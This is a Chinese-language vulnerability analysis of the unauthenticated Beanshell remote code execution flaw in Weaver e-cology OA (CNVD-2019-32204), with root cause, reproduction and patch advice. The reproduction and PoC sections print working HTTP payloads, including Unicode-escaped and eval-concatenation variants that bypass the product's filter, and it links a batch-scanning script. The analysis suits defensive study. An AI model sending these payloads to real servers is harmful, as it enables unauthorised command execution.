泛微OA E-cology远程代码执行漏洞原理分析
字数 1159 2025-08-18 11:39:00
泛微OA E-cology远程代码执行漏洞分析报告
1. 漏洞概述
漏洞名称:泛微OA E-cology Beanshell接口远程代码执行漏洞
CVE编号:无
CNVD编号:CNVD-2019-32204
影响版本:e-cology <=9.0
威胁等级:高危
公开时间:2019年9月17日
2. 漏洞背景
泛微OA官方于2019年9月17日更新了一个远程代码执行漏洞补丁。该漏洞存在于泛微e-cology OA系统的JAVA Beanshell接口中,该接口可被未授权访问。攻击者通过构造特定的HTTP请求调用该Beanshell接口,可以绕过泛微本身的安全限制,实现远程命令执行。
3. 技术原理分析
3.1 Beanshell基础知识
BeanShell是一个小型、免费、可嵌入的Java源解释器,具有使用Java编写的对象脚本语言功能。主要特点包括:
- 动态执行标准Java语法
- 支持松散类型
- 支持命令和方法闭包
- 可以执行print、dir、eval、exec等命令
3.2 漏洞代码分析
漏洞存在于bsh-2.0b4.jar文件中,具体分析如下:
-
漏洞入口:servlet.BshServlet类中的doGet和doPost方法
- doPost方法是对doGet的二次封装
- doGet方法调用evalScript方法创建一个名为obj的对象
-
关键处理流程:
- pramString参数最终会被interpreter.eval处理
- 调用链:bsh.Interpreter类的eval方法 → bsh.classpath/ClassManagerImpl.class → bsh.commands/exec.bsh脚本
-
命令执行点:
- exec.bsh脚本可以执行系统命令
- 通过构造特定的HTTP请求参数,可以绕过安全限制执行任意命令
4. 漏洞复现
4.1 基本复现方法
-
简单命令执行:
bsh.script=exec("whoami")&bsh.servlet.output=raw -
绕过全局过滤器:
- 使用Unicode编码:
bsh.script=\u0065\u0078\u0065\u0063("whoami")&bsh.servlet.output=raw - 使用字符串拼接:
bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))")&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
- 使用Unicode编码:
4.2 复现结果验证
- 成功执行命令后会返回命令执行结果
- 如果被过滤器拦截,会返回错误信息
5. 漏洞利用
5.1 PoC示例
-
PoC1(基本执行):
bsh.script=exec("whoami")&bsh.servlet.output=raw -
PoC2(Unicode编码):
bsh.script=\u0065\u0078\u0065\u0063("whoami")&bsh.servlet.output=raw -
PoC3(字符串拼接):
bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))")&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
5.2 批量验证脚本
GitHub上提供了批量验证脚本,组合了常用的泛微OA web路径和上述绕过过滤器的PoC:
https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204
6. 修复建议
-
官方补丁:
- 升级e-cology OA到最新版本
- 安装官方BSH安全补丁包
-
临时缓解措施:
- 限制对Beanshell接口的访问
- 加强输入过滤,特别是对exec、eval等关键字的检测
7. 免责声明
本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。